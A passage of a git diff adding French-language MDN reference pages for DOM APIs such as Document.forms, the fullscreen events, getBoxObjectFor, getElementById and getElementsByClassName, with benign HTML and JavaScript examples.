+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Document.featurePolicy")}}</p>
diff --git a/files/fr/web/api/document/forms/index.html b/files/fr/web/api/document/forms/index.html
new file mode 100644
index 0000000000..c892b63976
--- /dev/null
+++ b/files/fr/web/api/document/forms/index.html
@@ -0,0 +1,116 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+tags:
+  - API
+  - DOM
+  - Document
+  - Formulaires
+  - Propriétés
+translation_of: Web/API/Document/forms
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété <code>forms</code> de {{domxref("Document")}} retourne une collection ({{domxref("HTMLCollection")}}) des éléments {{HTMLElement("form")}} présents dans le document actuel.</p>
+
+<div class="note">
+<p><strong>Note :</strong> De même, vous pouvez accéder à une liste des éléments d'entrée utilisateur d'un formulaire à l'aide de la propriété {{domxref ("HTMLFormElement.elements")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>collection</var> = document.forms;</pre>
+
+<h3 id="Example" name="Example">Valeur</h3>
+
+<p>Un objet {{domxref("HTMLCollection")}} listant tous les formulaires du document. Chaque élément de la collection est un {{domxref("HTMLFormElement")}} représentant un seul élément <code>&lt;form&gt;</code>.</p>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="Example" name="Example">Récupérer les informations d'un formulaire</h3>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+  &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+  &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+  &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Accéder_à_un_élément_contenu_dans_un_formulaire">Accéder à un élément contenu dans un formulaire</h3>
+
+<pre class="brush: js">var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+</pre>
+
+<h3 id="Specification" name="Specification">Accéder aux formulaires nommés</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>document.forms example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>login<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>email<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>email<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>password<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>password<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>submit<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Log in<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+  <span class="keyword token">var</span> loginForm <span class="operator token">=</span> document<span class="punctuation token">.</span>forms<span class="punctuation token">.</span>login<span class="punctuation token">;</span> <span class="comment token">// Ou document.forms['login']</span>
+  loginForm<span class="punctuation token">.</span>elements<span class="punctuation token">.</span>email<span class="punctuation token">.</span>placeholder <span class="operator token">=</span> <span class="string token">'test@example.com'</span><span class="punctuation token">;</span>
+  loginForm<span class="punctuation token">.</span>elements<span class="punctuation token">.</span>password<span class="punctuation token">.</span>placeholder <span class="operator token">=</span> <span class="string token">'password'</span><span class="punctuation token">;</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">Formulaires HTML</a></li>
+ <li>{{HTMLElement("form")}} et l'interface {{domxref("HTMLFormElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/fullscreenchange_event/index.html b/files/fr/web/api/document/fullscreenchange_event/index.html
new file mode 100644
index 0000000000..ca78a615cd
--- /dev/null
+++ b/files/fr/web/api/document/fullscreenchange_event/index.html
@@ -0,0 +1,85 @@
+---
+title: fullscreenchange
+slug: Web/API/Document/fullscreenchange_event
+translation_of: Web/API/Document/fullscreenchange_event
+---
+<p>L'événement <strong><code>onfullscreenchange</code></strong> est déclenché lorsque le navigateur alterne entre le mode fenêtré et plein écran.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Fullscreen</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>L'élément recevant l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Indique si l'événement bubble habituellement ou non.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Indique si l'événement est annulable ou non.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js;">// Noter que l'API est toujours vendor-prefixed dans les navigateurs l'implémentant
+document.addEventListener("fullscreenchange", function( event ) {
+
+    // L'objet event ne porte pas l'information à propos du mode plein écran
+    // Cependant, il est possible de la trouver à travers l'API fullscreen
+    if ( document.fullscreen ) {
+
+        // La cible de l'événement est toujours le document,
+        // mais il est possible de retrouver l'élément fullscreen à travers l'API
+        document.fullscreenElement;
+    }
+
+});</pre>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li><a href="/fr/docs/Mozilla_event_reference/fullscreenerror"><code>fullscreenerror</code></a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/DOM/Using_full-screen_mode">Utilisation du mode plein écran</a></li>
+</ul>
diff --git a/files/fr/web/api/document/fullscreenerror_event/index.html b/files/fr/web/api/document/fullscreenerror_event/index.html
new file mode 100644
index 0000000000..5f88b26992
--- /dev/null
+++ b/files/fr/web/api/document/fullscreenerror_event/index.html
@@ -0,0 +1,69 @@
+---
+title: fullscreenerror
+slug: Web/API/Document/fullscreenerror_event
+translation_of: Web/API/Document/fullscreenerror_event
+---
+<p>L'événement <strong><code>fullscreenerror</code></strong><code> est déclenché lorsque le navigateur ne peut pas entrer en mode plein écran.</code></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Fullscreen</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li><a href="/fr/docs/Mozilla_event_reference/fullscreenchange"><code>fullscreenchange</code></a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/DOM/Using_full-screen_mode">Utilisation du mode plein écran</a></li>
+</ul>
diff --git a/files/fr/web/api/document/getboxobjectfor/index.html b/files/fr/web/api/document/getboxobjectfor/index.html
new file mode 100644
index 0000000000..97b613781e
--- /dev/null
+++ b/files/fr/web/api/document/getboxobjectfor/index.html
@@ -0,0 +1,42 @@
+---
+title: Document.getBoxObjectFor()
+slug: Web/API/Document/getBoxObjectFor
+tags:
+  - API
+  - Boîte
+  - DOM
+  - Méthodes
+  - Objets
+translation_of: Web/API/Document/getBoxObjectFor
+---
+<p>{{ ApiRef("DOM") }} {{obsolete_header}}</p>
+
+<p>Renvoie un <code>boxObject</code> (x, y, largeur, hauteur) pour un élément spécifié.</p>
+
+<div class="note"><strong>Note :</strong> Cette méthode est obsolète. Vous devez utiliser la méthode {{domxref("element.getBoundingClientRect()")}} à la place.</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>boxObject</var> = <var>document</var>.getBoxObjectFor(<var>element</var>);
+</pre>
+
+<ul>
+ <li><code>boxObject</code> est un {{interface("nsIBoxObject")}}.</li>
+ <li><code>element</code> est un {{domxref("element","DOMElement")}}</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var myDiv = document.getElementById("myDiv"),
+    boxObj = document.getBoxObjectFor (myDiv);
+
+alert (
+  "x:" + boxObj.x +
+  ", y:" + boxObj.y +
+  ", Width:" + boxObj.width +
+  ", Height:" + boxObj.height
+);</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Spécifié dans <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/xul/nsIDOMXULDocument.idl" title="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/xul/nsIDOMXULDocument.idl">nsIXULDocument.idl</a></p>
diff --git a/files/fr/web/api/document/getelementbyid/index.html b/files/fr/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..eb8a78ee99
--- /dev/null
+++ b/files/fr/web/api/document/getelementbyid/index.html
@@ -0,0 +1,148 @@
+---
+title: document.getElementById
+slug: Web/API/Document/getElementById
+tags:
+  - API
+  - DOM
+  - Document
+  - Elements
+  - Identifiant
+  - Méthodes
+translation_of: Web/API/Document/getElementById
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La méthode <code><strong>getElementById()</strong></code> de {{domxref("Document")}} renvoie un objet  {{domxref("Element")}} représentant l'élément dont la propriété  {{domxref("Element.id", "id")}} correspond à la chaîne de caractères spécifiée. Étant donné que les ID d'élément doivent être uniques, s'ils sont spécifiés, ils constituent un moyen utile d'accéder rapidement à un élément spécifique.</p>
+
+<p>Si vous avez besoin d'accéder à un élément qui n'a pas d'ID, vous pouvez utiliser {{domxref("Document.querySelector","querySelector()")}} pour trouver l'élément en utilisant un {{Glossary("CSS selector","sélecteur")}}.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><em>var element</em> = document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>id</code></dt>
+ <dd>L'ID (<em>identifiant)</em> de l'élément à localiser. Il est une chaîne de caractères sensible à la casse qui est unique ; un seul élément peut avoir un ID donné.</dd>
+ <dt>
+ <h3 id="Valeur_de_retour">Valeur de retour</h3>
+ </dt>
+</dl>
+
+<p>Un objet {{domxref("Element")}} décrivant l'objet élément du DOM correspondant à l'ID spécifié ou <code>null</code> si aucun n'a été trouvé dans le document.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>getElementById example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>para<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Some text here<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>changeColor(<span class="punctuation token">'</span>blue<span class="punctuation token">'</span>);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>blue<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>changeColor(<span class="punctuation token">'</span>red<span class="punctuation token">'</span>);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>red<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">changeColor</span><span class="punctuation token">(</span>newColor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> elem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'para'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  elem<span class="punctuation token">.</span>style<span class="punctuation token">.</span>color <span class="operator token">=</span> newColor<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Notes" name="Notes">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Example1', 250, 100) }}</p>
+
+<h2 id="Notes" name="Notes">Notes d'utilisation</h2>
+
+<p>L'écriture de la lettre capitale de « Id » dans le nom de cette méthode <em>doit</em> être respectée pour que le code fonctionne ; <code>getElementByID()</code> n'est pas valide et ne fonctionnera <em>pas</em>, même si elle semble naturelle.</p>
+
+<p>Contrairement à d'autres méthodes de recherche d'éléments, comme  {{domxref("Document.querySelector()")}} et {{domxref("Document.querySelectorAll()")}}, <code>getElementById</code> est uniquement disponible comme méthode de l'objet global <code>document</code> et <em>n'est pas</em> disponible sur tous les objets du DOM. Parce que les valeurs d'ID doivent être uniques dans l'ensemble du document, il n'y pas besoin d'avoir une version "locale" de la fonction.</p>
+
+<h2 id="Exemple_2">Exemple</h2>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>!doctype</span> <span class="attr-name token">html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Document<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>parent-id<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>hello word1<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>test1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>hello word2<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>hello word3<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>hello word4<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+        <span class="keyword token">var</span> parentDOM <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'parent-id'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">var</span> test1<span class="operator token">=</span>parentDOM<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'test1'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="comment token">//</span></span></code><span class="short_text" id="result_box" lang="fr"><span>erreur de lancement</span></span> <code class="language-html"><span class="language-javascript script token">
+        <span class="comment token">//</span></span></code><span id="result_box" lang="fr"><span>TypeError inattendu </span></span><span lang="fr"><span>: parentDOM.getElementById n'est pas une fonction</span></span> <code class="language-html"><span class="language-javascript script token">
+    </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>S'il n'y a pas d'élément avec l'<code>id</code> fourni, cette fonction retourne <code>null</code>. A noter que le paramètre <code>id</code> est sensible à la casse, ainsi<code> document.getElementById("Main")</code> retournera <code>null</code> au lieu de l'élément <code>&lt;div id="main"&gt;</code> étant donné que "M" et "m" sont différents pour cette méthode.</p>
+
+<p><strong>Les éléments absents du document</strong> ne sont pas cherchés par <code>getElementById()</code>. Quand vous créez un élément et y assignez un ID, vous devez insérer l'élément dans l'arbre du document avec {{domxref("Node.insertBefore()")}} ou une méthode similaire avant de pouvoir y accéder avec <code>getElementById()</code> :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> element <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'div'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+element<span class="punctuation token">.</span>id <span class="operator token">=</span> <span class="string token">'testqq'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> el <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'testqq'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// el vaudra null !</span></code></pre>
+
+<p><strong>Les documents non-HTML.</strong> Les implémentations du DOM doivent avoir une information qui précise quels attributs sont de type ID. Un attribut portant le nom « id » n'est pas de type ID tant qu'il n'a pas été explicitement défini ainsi (dans la DTD du document). L'attribut <code>id</code> est défini comme étant de type ID dans les langages courants comme <a href="/fr/XHTML" title="fr/XHTML">XHTML</a> ou <a href="/fr/XUL" title="fr/XUL">XUL</a>. Les implémentations ne sachant pas déterminer si les attributs sont de type ID ou non sont supposées renvoyer <code>null</code>.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale de l'interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Remplace DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Remplace DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Remplacera DOM 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Traduction en français (non normative) : <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-getElBId">getElementById</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer un <em>pull request</em>.</div>
+
+<p>{{Compat("api.Document.getElementById")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Document")}} référence pour d'autres méthodes et propriétés que vous pouvez utiliser pour obtenir la référence vers des éléments du document.</li>
+ <li>{{domxref("Document.querySelector()")}} pour utiliser des sélecteurs avec des requêtes comme <code>'div.myclass'</code></li>
+ <li><a href="/fr/xml/xml:id" title="fr/xml/id">xml:id</a> dispose d'une méthode utilitaire permettant à getElementById d'obtenir les valeur 'xml:id' dans les documents XML (comme ceux qui pourraient être renvoyés par des appels Ajax).</li>
+</ul>
diff --git a/files/fr/web/api/document/getelementsbyclassname/index.html b/files/fr/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..021ce5c742
--- /dev/null
+++ b/files/fr/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,92 @@
+---
+title: document.getElementsByClassName
+slug: Web/API/Document/getElementsByClassName
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Reference
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p>{{ Fx_minversion_header(3) }} {{APIRef("DOM")}}</p>
+
+<p><span id="result_box" lang="fr"><span>Renvoie un objet de type tableau de tous les éléments enfants qui ont tous les noms de classe donnés.</span> <span>Lorsqu'il est appelé sur l'objet document, le document complet est recherché, y compris le nœud racine.</span> <span>Vous pouvez également appeler {{domxref ("Element.getElementsByClassName", "getElementsByClassName ()")}} sur n'importe quel élément;</span> <span>il retournera uniquement les éléments qui sont les descendants de l'élément racine spécifié avec les noms de classes donnés.</span></span></p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // or:
+<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><var>elements</var> <span id="result_box" lang="fr"><span>est une {{domxref ("HTMLCollection")}} des éléments trouvés.</span></span></li>
+ <li><var>names</var> est une chaîne représentant le nom de la classe des éléments à trouver.</li>
